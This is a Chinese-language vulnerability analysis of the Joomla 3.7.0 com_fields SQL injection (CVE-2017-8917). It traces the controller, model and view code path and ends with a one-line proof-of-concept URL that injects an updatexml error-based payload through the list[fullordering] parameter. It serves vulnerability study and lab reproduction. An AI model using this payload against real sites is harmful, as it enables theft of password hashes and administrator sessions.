作者:Balis0ng
预估稿费:400RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
传送门
【漏洞预警】Joomla!3.7.0 Core SQL注入漏洞(更新漏洞环境)
前言
Joomla!是世界上最受欢迎的内容管理系统(CMS)解决方案之一。它可以让用户自定义构建网站实现强大的在线应用程序。据不完全统计互联网上超过3%的网站运行Joomla!,同时它占有全球9%以上的CMS市场份额。
截止至2016年11月,Joomla!的总下载量超过7800万次。目前Joomla!官方还提供了超过7800个扩展插件(含免费、收费插件)及其他的可用资源可供下载。
漏洞概述
漏洞等级:严重
漏洞类型:SQL 注入
利用难度:简单
利用方式:远程
影响版本:Joomla! 3.7.0 Core
漏洞简述:这个漏洞出现在3.7.0新引入的一个组件“com_fields”,这个组件任何人都可以访问,无需登陆验证。由于对请求数据过滤不严导致sql 注入,sql注入对导致数据库中的敏感信息泄漏,例如用户的密码hash以及登陆后的用户的session(如果是获取到登陆后管理员的session,那么整个网站的后台系统可能被控制)。
漏洞分析
看了一下漏洞概要,发现写的比较简单,自己复现的时候发现调用关系比较复杂,特别是在类函数的调用中,稍不注意就钻错函数了。
首先,在E:/www/joomla370/components/com_fields/controller.php中有这样一段代码:
public function __construct($config = array())
{
$this->input = JFactory::getApplication()->input;
// Frontpage Editor Fields Button proxying:
if ($this->input->get('view') === 'fields' && $this->input->get('layout') === 'modal')
{
// Load the backend language file.
$lang = JFactory::getLanguage();
$lang->load('com_fields', JPATH_ADMINISTRATOR);
$config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
}
parent::__construct($config);
}
这里我们接收两个参数,一个view和一个layout,然后满足一定条件就进入到了if中,这里有一个关键点,设置了一个$config['base_path']为administrator的components目录。
然后调用父类的构造方法:
parent::__construct($config);
我们跟一下这个方法:
在E:/www/joomla370/libraries/legacy/controller/legacy.php中的__construct方法,函数体太长,就不贴了,主要在395行,加入我们的model:
if (array_key_exists('model_path', $config))
{
// User-defined dirs
$this->addModelPath($config['model_path'], $this->model_prefix);
}
else
{
$this->addModelPath($this->basePath . '/models', $this->model_prefix);
}
这里是进入到了else这个分支,然后这个地方的$this->basePath就是我们最开始的注意点,是administators/components
然后设置完了后就调用该类中的display方法进行一个实际操作,包括创建model之类的操作,在第613行:
public function display($cachable = false, $urlparams = array())
{
$document = JFactory::getDocument();
$viewType = $document->getType();
$viewName = $this->input->get('view', $this->default_view);
$viewLayout = $this->input->get('layout', 'default', 'string');
$view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));
// Get/Create the model
if ($model = $this->getModel($viewName))
{
// Push the model into the view (as default)
$view->setModel($model, true);
}
这里的$viewName是取自于view,也就是fields,然后这里先调用getView函数取得视图,然后再调用了getModel进行一个操作:
public function getModel($name = '', $prefix = '', $config = array())
{
if (empty($name))
{
$name = $this->getName();
}
if (empty($prefix))
{
$prefix = $this->model_prefix;
}
if ($model = $this->createModel($name, $prefix, $config))
{
// Task is a reserved state
$model->setState('task', $this->task);
// Let's get the application object and set menu information if it's available
$menu = JFactory::getApplication()->getMenu();
if (is_object($menu))
{
if ($item = $menu->getActive())
{
$params = $menu->getParams($item->id);
// Set default state data
$model->setState('parameters.menu', $params);
}
}
}
return $model;
}
这里调用createModel方法进行类的实例化。
并返回$model。
接着调用setModel函数将$model push到$view中。
到665行调用视图的display函数:
else
{
$view->display();
}
return $this;
然后我们跳转到视图的display函数中来,在E:/www/joomla370/administrator/components/com_fields/views/fields/view.html.php中:
public function display($tpl = null)
{
$this->state = $this->get('State');
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->filterForm = $this->get('FilterForm');
$this->activeFilters = $this->get('ActiveFilters');
首先看第一行,这里调用了get函数,参数是State,我们跟进这个get函数,在E:/www/joomla370/libraries/legacy/view/legacy.php中第417行:
$method = 'get' . ucfirst($property);
// Does the method exist?
if (method_exists($this->_models[$model], $method))
{
// The method exists, let's call it and return what we get
$result = $this->_models[$model]->$method();
return $result;
}
}
这里我们的$property是我们传进的实参也就是'State',那么拼接起来后的方法名就是getState,然后调用这个方法,由于这个方法在filedsmodel类中没有,那么会往父类里面找,根据一层层的继承关系,我们找到了getState方法,在E:/www/joomla370/libraries/legacy/model/legacy.php中
public function getState($property = null, $default = null)
{
if (!$this->__state_set)
{
// Protected method to auto-populate the model state.
$this->populateState();
// Set the model state set flag to true.
$this->__state_set = true;
}
然后这里会调用populateState方法,这个populateState只会调用一次。这个方法到底是哪个类中的呢?毋庸置疑,是filedsModel中的populateState方法:
protected function populateState($ordering = null, $direction = null)
{
// List state information.
parent::populateState('a.ordering', 'asc');
$context = $this->getUserStateFromRequest($this->context . '.context', 'context', 'com_content.article', 'CMD');
$this->setState('filter.context', $context);
可以看到这里有调用了父类populateState方法,我们跟进到父类,在E:/www/joomla370/libraries/legacy/model/list.php
中,也就是漏洞原作者开始写的地方:
在第496行:
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
foreach ($list as $name => $value)
{
// Exclude if blacklisted
if (!in_array($name, $this->listBlacklist))
{
// Extra validations
switch ($name)
{
case 'fullordering':
$orderingParts = explode(' ', $value);
if (count($orderingParts) >= 2)
这里取了个list的值进来赋值给了$list
然后将$list遍历出来,接着switch 键值。switch代码过多,我们只需要看switch完后的一个操作,也就是在567行:
$this->setState('list.' . $name, $value);
通过这个我们可以设置list.fullfullordering
那么这里是设置了,总得取出来才行啊,那我们开始看如何将这个值取出来的。
上面说道在视图文件中的display方法中,利用get('State')来调用了getState方法。紧跟着这个操作的下一行,就有一个get('Item')。
public function display($tpl = null)
{
$this->state = $this->get('State');
$this->items = $this->get('Items');
通过上面的分析,我们可以轻松的找到正确调用的方法,没错,就是E:/www/joomla370/libraries/legacy/model/list.php中的getItems方法:
public function getItems()
{
// Get a storage key.
$store = $this->getStoreId();
// Try to load the data from internal storage.
if (isset($this->cache[$store]))
{
return $this->cache[$store];
}
try
{
// Load the list items and add the items to the internal cache.
$this->cache[$store] = $this->_getList($this->_getListQuery(), $this->getStart(), $this->getState('list.limit'));
}
这里调用了一个_getListQuery方法,继续跟踪,就在该类里面:
protected function _getListQuery()
{
// Capture the last store id used.
static $lastStoreId;
// Compute the current store id.
$currentStoreId = $this->getStoreId();
// If the last store id is different from the current, refresh the query.
if ($lastStoreId != $currentStoreId || empty($this->query))
{
$lastStoreId = $currentStoreId;
$this->query = $this->getListQuery();
}
然后这里又调用了一个getListQuery方法,这里调用的getListQuery不是此类的getListQuery,而是子类,也就是filedsModel类里的getListQuery了,我们看一下该方法,在该方法的最后呢,也就是304左右:
// Add the list ordering clause
$listOrdering = $this->getState('list.fullordering', 'a.ordering');
$orderDirn = '';
if (empty($listOrdering))
{
$listOrdering = $this->state->get('list.ordering', 'a.ordering');
$orderDirn = $this->state->get('list.direction', 'DESC');
}
$query->order($db->escape($listOrdering) . ' ' . $db->escape($orderDirn));
return $query;
}
这里就调用getState将我们前面设置的list.fullordering的值给取了出来,然后带入到了order函数中去了,就造成了一个order by的注入。
PoC
http://localhost/joomla370/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,user()),0)
PoC验证截图
漏洞环境
感谢开源社区力量
漏洞靶场环境 由phithon维护
Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。
https://github.com/phith0n/vulhub/tree/master/joomla/CVE-2017-8917
总结
总的来说,注入触发的流程也不新鲜了,早在之前的joomla爆的一些组件注入中,比如之前的history组件注入,也多数是因为populate函数中的对一些参数过滤不严格,然后导致后来取出来的时候就产生了注入。
参考链接
https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
传送门
【漏洞预警】Joomla!3.7.0 Core SQL注入漏洞(更新漏洞环境)
发表评论
您还未登录,请先登录。
登录